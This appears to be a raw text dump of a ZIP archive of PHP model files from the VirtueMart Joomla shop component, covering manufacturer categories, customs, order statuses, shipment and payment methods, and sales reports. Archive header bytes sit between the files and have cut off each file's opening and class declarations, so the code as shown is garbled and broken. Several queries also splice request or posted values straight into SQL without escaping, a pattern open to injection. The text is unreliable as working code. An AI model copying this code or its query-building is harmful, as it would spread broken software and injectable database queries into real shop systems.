otherwise * @return object List of manufacturer categories objects */ function getManufacturerCategories($onlyPublished=false, $noLimit=false) { $this->_noLimit = $noLimit; $select = '* FROM `#__virtuemart_manufacturercategories_'.VMLANG.'` as l'; $joinedTables = ' JOIN `#__virtuemart_manufacturercategories` as mc using (`virtuemart_manufacturercategories_id`)'; $where = array(); if ($onlyPublished) { $where[] = ' `#__virtuemart_manufacturercategories`.`published` = 1'; } // $query .= ' ORDER BY `#__virtuemart_manufacturercategories`.`mf_category_name`'; $whereString = ''; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; if ( JRequest::getCmd('view') == 'manufacturercategories') { $ordering = $this->_getOrdering(); } else { $ordering = ' order by mf_category_name DESC'; } return $this->_data = $this->exeSortSearchListQuery(0,$select,$whereString,$joinedTables,$ordering); } /** * Build category filter * * @return object List of category to build filter select box */ function getCategoryFilter(){ $db = JFactory::getDBO(); $query = 'SELECT `virtuemart_manufacturercategories_id` as `value`, `mf_category_name` as text' .' FROM #__virtuemart_manufacturercategories_'.VMLANG.'`'; $db->setQuery($query); $categoryFilter[] = JHTML::_('select.option', '0', '- '. JText::_('COM_VIRTUEMART_SELECT_MANUFACTURER_CATEGORY') .' -' ); $categoryFilter = array_merge($categoryFilter, (array)$db->loadObjectList()); return $categoryFilter; } } // pure php no closing tagPKs>\W-:":" com_virtuemart/models/custom.phpnuW+AsetMainTable('customs'); $this->setToggleName('admin_only'); $this->setToggleName('is_hidden'); } /** * Gets a single custom by virtuemart_custom_id * . * @param string $type * @param string $mime mime type of custom, use for exampel image * @return customobject */ function getCustom(){ if(empty($this->_data)){ // JTable::addIncludePath(JPATH_VM_ADMINISTRATOR.DS.'tables'); $this->_data = $this->getTable('customs'); $this->_data->load($this->_id); $customfields = VmModel::getModel('Customfields'); $this->_data->field_types = $customfields->getField_types() ; // vmdebug('getCustom $data',$this->_data); if(!empty($this->_data->custom_jplugin_id)){ JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); // $varsToPushParam = $dispatcher->trigger('plgVmDeclarePluginParams',array('custom',$this->_data->custom_element,$this->_data->custom_jplugin_id)); $retValue = $dispatcher->trigger('plgVmDeclarePluginParamsCustom',array('custom',$this->_data->custom_element,$this->_data->custom_jplugin_id,&$this->_data)); } else { //Todo this is not working, because the custom is using custom_params, while the customfield is using custom_param ! //VirtueMartModelCustomfields::bindParameterableByFieldType($this->_data); } } return $this->_data; } /** * Retireve a list of customs from the database. This is meant only for backend use * * @author Kohl Patrick, Max Milbers * @return object List of custom objects */ function getCustoms($custom_parent_id,$search = false){ $query='* FROM `#__virtuemart_customs` WHERE field_type <> "R" AND field_type <> "Z" AND field_type <> "G" '; if($custom_parent_id){ $query .= 'AND `custom_parent_id` ='.(int)$custom_parent_id; } if($search){ $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; $query .= 'AND `custom_title` LIKE '.$search; } $datas = new stdClass(); $datas->items = $this->exeSortSearchListQuery(0, $query, '','',$this->_getOrdering()); $customfields = VmModel::getModel('Customfields'); if (!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'html.php'); $datas->field_types = $customfields->getField_types() ; foreach ($datas->items as $key => & $data) { if (!empty($data->custom_parent_id)) $data->custom_parent_title = $customfields->getCustomParentTitle($data->custom_parent_id); else { $data->custom_parent_title = '-' ; } if(!empty($datas->field_types[$data->field_type ])){ $data->field_type_display = vmText::_( $datas->field_types[$data->field_type ] ); } else { $data->field_type_display = 'not valid, delete this line'; vmError('The field with id '.$data->virtuemart_custom_id.' and title '.$data->custom_title.' is not longer valid, please delete it from the list'); } } $datas->customsSelect=$customfields->displayCustomSelection(); return $datas; } /** * Creates a clone of a given custom id * * @author Max Milbers * @param int $virtuemart_product_id */ public function createClone($id){ $this->virtuemart_custom_id = $id; $row = $this->getTable('customs'); $row->load( $id ); $row->virtuemart_custom_id = 0; $row->custom_title = $row->custom_title.' Copy'; if (!$clone = $row->store()) { JError::raiseError(500, 'createClone '. $row->getError() ); } return $clone; } /* Save and delete from database * all Child product custom_fields relation * @ var $table : the xref table(eg. product,category ...) * @array $data : array of customfields * @int $id : The concerned id (eg. product_id) **/ public function saveChildCustomRelation($table,$datas) { JRequest::checkToken() or jexit( 'Invalid Token, in store customfields'); //Table whitelist $tableWhiteList = array('product','category','manufacturer'); if(!in_array($table,$tableWhiteList)) return false; $customfieldIds = array(); // delete existings from modelXref and table customfields foreach ($datas as $child_id =>$fields) { $fields['virtuemart_'.$table.'_id']=$child_id; $this->_db->setQuery( 'DELETE PC FROM `#__virtuemart_'.$table.'_customfields` as `PC`, `#__virtuemart_customs` as `C` WHERE `PC`.`virtuemart_custom_id` = `C`.`virtuemart_custom_id` AND field_type="C" and virtuemart_'.$table.'_id ='.$child_id ); if(!$this->_db->query()){ vmError('Error in deleting child relation '); //.$this->_db->getQuery()); Dont give hackers too much info } $tableCustomfields = $this->getTable($table.'_customfields'); $tableCustomfields->bindChecknStore($fields); $errors = $tableCustomfields->getErrors(); foreach($errors as $error){ vmError($error); } } } public function store(&$data){ if(!empty($data['params'])){ foreach($data['params'] as $k=>$v){ $data[$k] = $v; } } if(empty($data['virtuemart_vendor_id'])){ if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $data['virtuemart_vendor_id'] = VirtueMartModelVendor::getLoggedVendor(); } else { $data['virtuemart_vendor_id'] = (int) $data['virtuemart_vendor_id']; } // missing string FIX, Bad way ? if (JVM_VERSION===1) { $tb = '#__plugins'; $ext_id = 'id'; } else { $tb = '#__extensions'; $ext_id = 'extension_id'; } $q = 'SELECT `element` FROM `' . $tb . '` WHERE `' . $ext_id . '` = "'.$data['custom_jplugin_id'].'"'; $this->_db->setQuery($q); $data['custom_element'] = $this->_db->loadResult(); // vmdebug('store custom',$data); $table = $this->getTable('customs'); if(isset($data['custom_jplugin_id'])){ vmdebug('$data store custom',$data); JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); // $retValue = $dispatcher->trigger('plgVmSetOnTablePluginParamsCustom',array($data['custom_value'],$data['custom_jplugin_id'],&$table)); $retValue = $dispatcher->trigger('plgVmSetOnTablePluginParamsCustom',array($data['custom_element'],$data['custom_jplugin_id'],&$table)); } $table->bindChecknStore($data); $errors = $table->getErrors(); if(!empty($errors)){ foreach($errors as $error){ vmError($error); } } JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); $error = $dispatcher->trigger('plgVmOnStoreInstallPluginTable', array('custom' , $data, $data['custom_element'])); return $table->virtuemart_custom_id ; } /** * Delete all record ids selected * * @author Max Milbers * @return boolean True is the delete was successful, false otherwise. */ public function remove($ids) { $table = $this->getTable($this->_maintablename); $customfields = $this->getTable ('product_customfields'); foreach($ids as $id) { if (!$table->delete((int)$id)) { vmError(get_class( $this ).'::remove '.$id.' '.$table->getError()); return false; } else { //Delete this customfield also in all product_customfield tables if (!$customfields->delete ($id, 'virtuemart_custom_id')) { vmError ('Custom delete Productcustomfield delete ' . $customfields->getError ()); $ok = FALSE; } } } return true; } } // pure php no closing tag PKs>\X%com_virtuemart/models/orderstatus.phpnuW+AsetMainTable('orderstates'); } function getVMCoreStatusCode(){ return array( 'P','S'); } /** * Retrieve a list of order statuses from the database. * * @return object List of order status objects */ function getOrderStatusList() { if (JRequest::getWord('view') !== 'orderstatus') $ordering = ' order by `ordering` '; else $ordering = $this->_getOrdering(); $this->_noLimit=true; $this->_data = $this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_orderstates`','','',$ordering); // vmdebug('order data',$this->_data); return $this->_data ; } /** * Return the order status names * * @author Kohl Patrick * @access public * * @param char $_code Order status code * @return string The name of the order status */ public function getOrderStatusNames () { $q = 'SELECT `order_status_name`,`order_status_code` FROM `#__virtuemart_orderstates` order by `ordering` '; $this->_db->setQuery($q); return $this->_db->loadAssocList('order_status_code'); } function renderOSList($value,$name = 'order_status',$multiple=FALSE,$attrs='',$langkey='' ){ $idA = $id = $name; $attrs .= ' class="inputbox" '; if ($multiple) { $attrs .= ' multiple="multiple" '; if(empty($langkey)) $langkey = 'COM_VIRTUEMART_DRDOWN_SELECT_SOME_OPTIONS'; $attrs .= ' data-placeholder="'.JText::_($langkey).'"'; $idA .= '[]'; } else { if(empty($langkey)) $langkey = 'COM_VIRTUEMART_LIST_EMPTY_OPTION'; } if(is_array($value)){ $hashValue = implode($value); } else { $hashValue = $value; } $hash = md5($hashValue.$name.$attrs); if (!isset($this->_renderStatusList[$hash])) { $orderStates = $this->getOrderStatusNames(); $emptyOption = JHTML::_ ('select.option', -1, JText::_ ($langkey), 'order_status_code', 'order_status_name'); array_unshift ($orderStates, $emptyOption); if ($multiple) { $attrs .=' size="'.count($orderStates).'" '; } $this->_renderStatusList[$hash] = JHTML::_('select.genericlist', $orderStates, $idA, $attrs, 'order_status_code', 'order_status_name', $value,$id,true); } return $this->_renderStatusList[$hash] ; } function renderOrderStatusList($value, $name = 'order_status[]' ) { $id = substr($name,0,-2); return $this->renderOSList($value,$id,TRUE); } } //No Closing tag PKs>\)com_virtuemart/models/.htaccessnuW+A Order allow,deny Deny from all PKs>\$Xq!!(com_virtuemart/models/shipmentmethod.phpnuW+AsetMainTable('shipmentmethods'); $this->_selectedOrdering = 'ordering'; } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author RickG */ function getShipment() { if (empty($this->_data[$this->_id])) { $this->_data[$this->_id] = $this->getTable('shipmentmethods'); $this->_data[$this->_id]->load((int)$this->_id); if(empty($this->_data[$this->_id]->virtuemart_vendor_id)){ if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $this->_data[$this->_id]->virtuemart_vendor_id = VirtueMartModelVendor::getLoggedVendor();; } if($this->_data[$this->_id]->shipment_jplugin_id){ JPluginHelper::importPlugin('vmshipment'); $dispatcher = JDispatcher::getInstance(); $retValue = $dispatcher->trigger('plgVmDeclarePluginParamsShipment',array($this->_data[$this->_id]->shipment_element,$this->_data[$this->_id]->shipment_jplugin_id,&$this->_data[$this->_id])); } if($this->_data[$this->_id]->getCryptedFields()){ if(!class_exists('vmCrypt')){ require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmcrypt.php'); } if(isset($this->_data[$this->_id]->modified_on)){ $date = JFactory::getDate($this->_data[$this->_id]->modified_on); $date = $date->toUnix(); } else { $date = 0; } foreach($this->_data[$this->_id]->getCryptedFields() as $field){ if(isset($this->_data[$this->_id]->$field)){ $this->_data[$this->_id]->$field = vmCrypt::decrypt($this->_data[$this->_id]->$field,$date); } } } // vmdebug('$$this->_data getShipment',$this->_data); //if(!empty($this->_id)){ /* Add the shipmentcarreir shoppergroups */ $q = 'SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_shipmentmethod_shoppergroups WHERE `virtuemart_shipmentmethod_id` = "'.$this->_id.'"'; $this->_db->setQuery($q); $this->_data[$this->_id]->virtuemart_shoppergroup_ids = $this->_db->loadResultArray();# if(empty($this->_data[$this->_id]->virtuemart_shoppergroup_ids)) $this->_data[$this->_id]->virtuemart_shoppergroup_ids = 0; //} } return $this->_data[$this->_id]; } /** * Retireve a list of shipment from the database. * * @author RickG * @return object List of shipment objects */ public function getShipments() { if (JVM_VERSION===1) { $table = '#__plugins'; $enable = 'published'; $ext_id = 'id'; } else { $table = '#__extensions'; $enable = 'enabled'; $ext_id = 'extension_id'; } $query = ' `#__virtuemart_shipmentmethods`.* , `'.$table.'`.`name` as shipmentmethod_name FROM `#__virtuemart_shipmentmethods` '; $query .= 'JOIN `'.$table.'` ON `'.$table.'`.`'.$ext_id.'` = `#__virtuemart_shipmentmethods`.`shipment_jplugin_id` '; $whereString = ''; $select = ' * FROM `#__virtuemart_shipmentmethods_'.VMLANG.'` as l '; $joinedTables = ' JOIN `#__virtuemart_shipmentmethods` USING (`virtuemart_shipmentmethod_id`) '; $this->_data =$this->exeSortSearchListQuery(0,$select,$joinedTables,$whereString,' ',$this->_getOrdering() ); //$this->_data = $this->exeSortSearchListQuery(0,'',$query,$whereString,'',$this->_getOrdering('ordering')); if(isset($this->_data)){ if(!class_exists('shopfunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); foreach ($this->_data as $data){ /* Add the shipment shoppergroups */ $q = 'SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_shipmentmethod_shoppergroups WHERE `virtuemart_shipmentmethod_id` = "'.$data->virtuemart_shipmentmethod_id.'"'; $this->_db->setQuery($q); $data->virtuemart_shoppergroup_ids = $this->_db->loadResultArray(); /* Write the first 5 shoppergroups in the list */ $data->shipmentShoppersList = shopfunctions::renderGuiList('virtuemart_shoppergroup_id','#__virtuemart_shipmentmethod_shoppergroups','virtuemart_shipmentmethod_id',$data->virtuemart_shipmentmethod_id,'shopper_group_name','#__virtuemart_shoppergroups','virtuemart_shoppergroup_id','shoppergroup',4,0); } } return $this->_data; } /** * Bind the post data to the shipment tables and save it * * @author Max Milbers * @return boolean True is the save was successful, false otherwise. */ public function store(&$data) { if(is_object($data)){ $data = (array)$data; } if(!empty($data['params'])){ foreach($data['params'] as $k=>$v){ $data[$k] = $v; } } if(empty($data['virtuemart_vendor_id'])){ if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $data['virtuemart_vendor_id'] = VirtueMartModelVendor::getLoggedVendor(); } $table = $this->getTable('shipmentmethods'); if(isset($data['shipment_jplugin_id'])){ // missing string FIX, Bad way ? if (JVM_VERSION===1) { $tb = '#__plugins'; $ext_id = 'id'; } else { $tb = '#__extensions'; $ext_id = 'extension_id'; } $q = 'SELECT `element` FROM `' . $tb . '` WHERE `' . $ext_id . '` = "'.$data['shipment_jplugin_id'].'"'; $db = JFactory::getDbo(); $db->setQuery($q); $data['shipment_element'] = $db->loadResult(); $q = 'UPDATE `' . $tb . '` SET `enabled`= 1 WHERE `' . $ext_id . '` = "'.$data['shipment_jplugin_id'].'"'; $this->_db->setQuery($q); $this->_db->query(); JPluginHelper::importPlugin('vmshipment'); $dispatcher = JDispatcher::getInstance(); //bad trigger, we should just give it data, so that the plugins itself can check the data to be stored //so this trigger is now deprecated and will be deleted in vm3 $retValue = $dispatcher->trigger('plgVmSetOnTablePluginParamsShipment',array( $data['shipment_element'],$data['shipment_jplugin_id'],&$table)); $retValue = $dispatcher->trigger('plgVmSetOnTablePluginShipment',array( &$data,&$table)); } $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError($error); } $xrefTable = $this->getTable('shipmentmethod_shoppergroups'); $xrefTable->bindChecknStore($data); $errors = $xrefTable->getErrors(); foreach($errors as $error){ vmError($error); } if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); //Add a hook here for other shipment methods, checking the data of the choosed plugin $dispatcher = JDispatcher::getInstance(); $retValues = $dispatcher->trigger('plgVmOnStoreInstallShipmentPluginTable', array( $data['shipment_jplugin_id'])); return $table->virtuemart_shipmentmethod_id; } /** * Creates a clone of a given shipmentmethod id * * @author Valérie Isaksen * @param int $virtuemart_shipmentmethod_id */ public function createClone ($id) { $this->setId ($id); $shipment = $this->getShipment (); $shipment->virtuemart_shipmentmethod_id = 0; $shipment->shipment_name = $shipment->shipment_name.' Copy'; if (!$clone = $this->store($shipment)) { vmError( 'createClone '. $shipment->getError() ); } return $clone; } } //no closing tag PKs>\A|9|9 com_virtuemart/models/report.phpnuW+AsetMainTable ('orders'); $this->setDatePresets (); $app = JFactory::getApplication (); $this->period = $app->getUserStateFromRequest ('com_virtuemart.revenue.period', 'period', 'last30', 'string'); //$post = JRequest::get ('post'); //vmdebug ('$post ', $post); if (empty($this->period) or $this->period != 'none') { $this->setPeriodByPreset (); } else { $this->setPeriod (); } $this->removevalidOrderingFieldName ('virtuemart_order_id'); $this->addvalidOrderingFieldName (array('product_quantity', 'o.virtuemart_order_id')); $this->_selectedOrdering = 'created_on'; } function correctTimeOffset(&$inputDate){ $config = JFactory::getConfig(); $this->siteOffset = $config->getValue('config.offset'); $date = new JDate($inputDate); $date->setTimezone($this->siteTimezone); $inputDate = $date->format('Y-m-d H:i:s',true); } /* * Set Start & end Date */ function setPeriod () { $this->from_period = JRequest::getVar ('from_period', $this->date_presets['last30']['from']); $this->until_period = JRequest::getVar ('until_period', $this->date_presets['last30']['until']); $config = JFactory::getConfig(); $siteOffset = $config->getValue('config.offset'); $this->siteTimezone = new DateTimeZone($siteOffset); $this->correctTimeOffset($this->from_period); $this->correctTimeOffset($this->until_period); } /* * Set Start & end Date if Var peroid */ function setPeriodByPreset () { $this->from_period = $this->date_presets[$this->period]['from']; $this->until_period = $this->date_presets[$this->period]['until']; $config = JFactory::getConfig(); $siteOffset = $config->getValue('config.offset'); $this->siteTimezone = new DateTimeZone($siteOffset); $this->correctTimeOffset($this->from_period); $this->correctTimeOffset($this->until_period); } function getItemsByRevenue ($revenue) { $q = 'select SUM(`product_quantity`) as product_quantity from `#__virtuemart_order_items` as i LEFT JOIN #__virtuemart_orders as o ON o.virtuemart_order_id=i.virtuemart_order_id ' . $this->whereItem . ' CAST(' . $this->intervals . ' AS DATE) = CAST("' . $revenue['intervals'] . '" AS DATE) '; $this->_db->setQuery ($q); //echo $this->_db->_sql; return $this->_db->loadResult (); } function getRevenueSortListOrderQuery ($sold = FALSE, $items = FALSE) { $selectFields = array(); $mainTable = ''; $joinTables = array(); $joinedTables = ''; $where = array(); // group always by intervals (day,week, ... or ID) and set grouping and defaut ordering $intervals = JRequest::getWord ('intervals', 'day'); switch ($intervals) { case 'day': $this->intervals = 'DATE( o.created_on )'; break; case 'week': $this->intervals = 'WEEK( o.created_on )'; break; case 'month': $this->intervals = 'MONTH( o.created_on )'; break; case 'year': $this->intervals = 'YEAR( o.created_on )'; break; default: // invidual grouping $this->intervals = 'o.created_on'; break; } // if(!empty($this->intervals)){ // $orderBy = $this->_getOrdering('o.`created_on`'); // } $selectFields['intervals'] = $this->intervals . ' AS intervals, CAST( o.`created_on` AS DATE ) AS created_on'; vmdebug('getRevenueSortListOrderQuery '.$intervals); if($intervals=='product_s'){ $selectFields[] = '`order_item_name`'; $selectFields[] = '`virtuemart_product_id`'; $groupBy = 'GROUP BY `virtuemart_product_id` '; } else { $groupBy = 'GROUP BY intervals '; } //$selectFields[] = 'COUNT(virtuemart_order_id) as number_of_orders'; //with tax => brutto //$selectFields[] = 'SUM(product_subtotal_with_tax) as order_total'; //without tax => netto //$selectFields[] = 'SUM(product_item_price) as order_subtotal'; $selectFields[] = 'SUM(product_discountedPriceWithoutTax * product_quantity) as order_subtotal_netto'; $selectFields[] = 'SUM(product_subtotal_with_tax) as order_subtotal_brutto'; $this->dates = ' DATE( o.created_on ) BETWEEN "' . $this->from_period . '" AND "' . $this->until_period . '" '; $statusList = array(); // Filter by statut if ($orderstates = JRequest::getVar ('order_status_code', array('C,S'))) { $query = 'SELECT `order_status_code` FROM `#__virtuemart_orderstates` WHERE published=1 '; $this->_db->setQuery ($query); $list = $this->_db->loadResultArray (); foreach ($orderstates as $val) { if (in_array ($val, $list)) { $statusList[] = '`i`.`order_status` = "' . $val . '"'; } } if ($statusList) { $where[] = '(' . implode (' OR ', $statusList) . ')'; } } //getRevenue // select wich table to order sum ordered $filterorders = JRequest::getvar ('filter_order', 'intervals'); $orderdir = (JRequest::getWord ('filter_order_Dir', NULL) == 'desc') ? 'desc' : ''; switch ($filterorders) { case 'o.virtuemart_order_id': $orderBy = ' ORDER BY count_order_id ' . $orderdir; $groupBy = 'GROUP BY intervals '; break; case 'product_quantity' : // GROUP BY product_quantity, intervals // ORDER BY `product_quantity` ASC // TODO grouping and ordering $orderBy = ' ORDER BY product_quantity ' . $orderdir; $groupBy = 'GROUP BY intervals '; //$selectFields['intervals'] = $this->intervals.' AS intervals, i.`created_on` '; break; case 'o.order_subtotal' : $orderBy = ' ORDER BY order_subtotal'; break; //getOrderItemsSumGrouped($this->intervals , $filterorders); break; default: // invidual grouping $orderBy = $this->_getOrdering (); vmdebug ('default case', $orderBy); //$this->intervals= '`o`.`created_on`'; // $orderBy = ' ORDER BY '.$filterorders.' '.$orderdir; break; } $selectFields[] = 'COUNT(DISTINCT o.virtuemart_order_id) as count_order_id'; $selectFields[] = 'SUM(product_quantity) as product_quantity'; $mainTable = '`#__virtuemart_order_items` as i'; $joinTables['orders'] = ' LEFT JOIN `#__virtuemart_orders` as o ON o.virtuemart_order_id=i.virtuemart_order_id '; if (count ($selectFields) > 0) { $select = implode (', ', $selectFields) . ' FROM ' . $mainTable; //$selectFindRows = 'SELECT COUNT(*) FROM '.$mainTable; if (count ($joinTables) > 0) { foreach ($joinTables as $table) { $joinedTables .= $table; } } } else { vmError ('No select fields given in getRevenueSortListOrderQuery', 'No select fields given'); return FALSE; } $virtuemart_product_id = JRequest::getInt ('virtuemart_product_id', FALSE); if ($virtuemart_product_id) { $where[] = 'i.virtuemart_product_id = "' . $virtuemart_product_id . '" '; } if (VmConfig::get ('multix', 'none') != 'none') { $vendorId = JRequest::getInt ('virtuemart_vendor_id', 0); if ($vendorId != 0) { $where[] = 'i.virtuemart_vendor_id = "' . $vendorId . '" '; } } if (count ($where) > 0) { $this->whereItem = ' WHERE ' . implode (' AND ', $where) . ' AND '; } else { $this->whereItem = ' WHERE '; } // $this->whereItem; /* WHERE differences with orders and items from orders are only date periods and ordering */ $whereString = $this->whereItem . $this->dates; return $this->exeSortSearchListQuery (1, $select, $joinedTables, $whereString, $groupBy, $orderBy); } /** * Retrieve a list of report items from the database. * * @author Wicksj * @param string $noLimit True if no record count limit is used, false otherwise * @return object List of order objects */ function getRevenue ($noLimit = FALSE) { return $this->getRevenueSortListOrderQuery (); } /** * Retrieve a list of report items from the database. * DONT know why this ???? Patrick Kohl * * @author Wicksj * @param string $noLimit True if no record count limit is used, false otherwise * @return object List of order objects */ function getOrderItems ($noLimit = FALSE) { // $db = JFactory::getDBO(); $query = "SELECT `product_name`, `product_sku`, "; $query .= "i.created_on as order_date, "; $query .= "SUM(product_quantity) as product_quantity "; $query .= "FROM #__virtuemart_order_items i, #__virtuemart_orders o, #__virtuemart_products p "; $query .= "WHERE i.created_on BETWEEN '{$this->start_date} 00:00:00' AND '{$this->until_period} 23:59:59' "; $query .= "AND o.virtuemart_order_id=i.virtuemart_order_id "; $query .= "AND i.virtuemart_product_id=p.virtuemart_product_id "; $query .= "GROUP BY product_sku, product_name, order_date "; $query .= " ORDER BY order_date, product_name ASC"; if ($noLimit) { $this->_data = $this->_getList ($query); } else { $this->_data = $this->_getList ($query, $this->getState ('limitstart'), $this->getState ('limit')); } if (!$this->_total) { $this->_total = $this->_getListCount ($query); } return $this->_data; } public function setDatePresets () { if ($this->date_presets) { return $this->date_presets; } // set date presets $curDate = JFactory::getDate (); $curDate = $curDate->toUnix (); $curDate = mktime (0, 0, 0, date ('m', $curDate), date ('d', $curDate), date ('Y', $curDate)); $monday = (date ('w', $curDate) == 1) ? $curDate : strtotime ('last Monday', $curDate); $this->date_presets['last90'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_LAST90'), 'from' => date ('Y-m-d', strtotime ('-89 day', $curDate)), 'until' => date ('Y-m-d', $curDate)); $this->date_presets['last60'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_LAST60'), 'from' => date ('Y-m-d', strtotime ('-59 day', $curDate)), 'until' => date ('Y-m-d', $curDate)); $this->date_presets['last30'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_LAST30'), 'from' => date ('Y-m-d', strtotime ('-29 day', $curDate)), 'until' => date ('Y-m-d', $curDate)); $this->date_presets['today'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_TODAY'), 'from' => date ('Y-m-d', $curDate), 'until' => date ('Y-m-d', $curDate)); $this->date_presets['this-week'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_THIS_WEEK'), 'from' => date ('Y-m-d', $monday), 'until' => date ('Y-m-d', strtotime ('+6 day', $monday))); $this->date_presets['this-month'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_THIS_MONTH'), 'from' => date ('Y-m-d', mktime (0, 0, 0, date ('n', $curDate), 1, date ('Y', $curDate))), 'until' => date ('Y-m-d', mktime (0, 0, 0, date ('n', $curDate) + 1, 0, date ('Y', $curDate)))); $this->date_presets['this-year'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_THIS_YEAR'), 'from' => date ('Y-m-d', mktime (0, 0, 0, 1, 1, date ('Y', $curDate))), 'until' => date ('Y-m-d', mktime (0, 0, 0, 12, 31, date ('Y', $curDate)))); } public function renderDateSelectList () { // simpledate select $select = ''; $options = array(JHTML::_ ('select.option', 'none', '- ' . JText::_ ('COM_VIRTUEMART_REPORT_SET_PERIOD') . ' -', 'text', 'value')); $app = JFactory::getApplication (); $select = $app->getUserStateFromRequest ('com_virtuemart.revenue.period', 'period', 'last30', 'string'); foreach ($this->date_presets as $name => $value) { $options[] = JHTML::_ ('select.option', $name, JText::_ ($value['name']), 'text', 'value'); } $listHTML = JHTML::_ ('select.genericlist', $options, 'period', 'size="7" class="inputbox" onchange="this.form.submit();" ', 'text', 'value', $select); //$listHTML = JHTML::_ ('select.genericlist', $options, 'period', 'size="7" class="inputbox" ', 'text', 'value', $select); return $listHTML; } public function renderIntervalsList () { $intervals = JRequest::getWord ('intervals', 'day'); $options = array(); $options[] = JHTML::_ ('select.option', JText::_ ('COM_VIRTUEMART_PRODUCT_S'), 'product_s'); $options[] = JHTML::_ ('select.option', JText::_ ('COM_VIRTUEMART_ORDERS'), 'orders'); $options[] = JHTML::_ ('select.option', JText::_ ('COM_VIRTUEMART_REPORT_INTERVAL_GROUP_DAILY'), 'day'); $options[] = JHTML::_ ('select.option', JText::_ ('COM_VIRTUEMART_REPORT_INTERVAL_GROUP_WEEKLY'), 'week'); $options[] = JHTML::_ ('select.option', JText::_ ('COM_VIRTUEMART_REPORT_INTERVAL_GROUP_MONTHLY'), 'month'); $options[] = JHTML::_ ('select.option', JText::_ ('COM_VIRTUEMART_REPORT_INTERVAL_GROUP_YEARLY'), 'year'); //$listHTML = JHTML::_ ('select.genericlist', $options, 'intervals', 'class="inputbox" onchange="this.form.submit();" size="5"', 'text', 'value', $intervals); $listHTML = JHTML::_ ('select.genericlist', $options, 'intervals', 'class="inputbox" size="6"', 'text', 'value', $intervals); return $listHTML; } public function updateOrderItems () { $q = 'UPDATE #__virtuemart_order_items SET `product_discountedPriceWithoutTax`=( (IF(product_final_price is NULL, 0.00,product_final_price) - IF(product_tax is NULL, 0.00,product_tax) )) WHERE `product_discountedPriceWithoutTax` IS NULL'; $this->_db = JFactory::getDBO(); $this->_db->setQuery($q); $this->_db->query(); } } PKs>\}9ǐ&&'com_virtuemart/models/paymentmethod.phpnuW+AsetMainTable('paymentmethods'); $this->_selectedOrdering = 'ordering'; } /** * Gets the virtuemart_paymentmethod_id with a plugin and vendorId * * @author Max Milbers */ public function getIdbyCodeAndVendorId($jpluginId,$vendorId=1){ if(!$jpluginId) return 0; $q = 'SELECT `virtuemart_paymentmethod_id` FROM #__virtuemart_paymentmethods WHERE `payment_jplugin_id` = "'.$jpluginId.'" AND `virtuemart_vendor_id` = "'.$vendorId.'" '; $this->_db->setQuery($q); return $this->_db->loadResult(); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author Max Milbers */ public function getPayment(){ if (empty($this->_data[$this->_id])) { $this->_data[$this->_id] = $this->getTable('paymentmethods'); $this->_data[$this->_id]->load((int)$this->_id); if(empty($this->_data->virtuemart_vendor_id)){ if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $this->_data[$this->_id]->virtuemart_vendor_id = VirtueMartModelVendor::getLoggedVendor(); } if($this->_data[$this->_id]->payment_jplugin_id){ JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $retValue = $dispatcher->trigger('plgVmDeclarePluginParamsPayment',array($this->_data[$this->_id]->payment_element,$this->_data[$this->_id]->payment_jplugin_id,&$this->_data[$this->_id])); } if($this->_data[$this->_id]->getCryptedFields()){ if(!class_exists('vmCrypt')){ require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmcrypt.php'); } if(isset($this->_data[$this->_id]->modified_on)){ $date = JFactory::getDate($this->_data[$this->_id]->modified_on); $date = $date->toUnix(); } else { $date = 0; } foreach($this->_data[$this->_id]->getCryptedFields() as $field){ if(isset($this->_data[$this->_id]->$field)){ $this->_data[$this->_id]->$field = vmCrypt::decrypt($this->_data[$this->_id]->$field,$date); } } } $q = 'SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_paymentmethod_shoppergroups WHERE `virtuemart_paymentmethod_id` = "'.$this->_id.'"'; $this->_db->setQuery($q); $this->_data[$this->_id]->virtuemart_shoppergroup_ids = $this->_db->loadResultArray(); if(empty($this->_data[$this->_id]->virtuemart_shoppergroup_ids)) $this->_data[$this->_id]->virtuemart_shoppergroup_ids = 0; } return $this->_data[$this->_id]; } /** * Retireve a list of calculation rules from the database. * * @author Max Milbers * @param string $onlyPuiblished True to only retreive the publish Calculation rules, false otherwise * @param string $noLimit True if no record count limit is used, false otherwise * @return object List of calculation rule objects */ public function getPayments($onlyPublished=false, $noLimit=false) { $where = array(); if ($onlyPublished) { $where[] = ' `#__virtuemart_paymentmethods`.`published` = 1'; } $whereString = ''; if 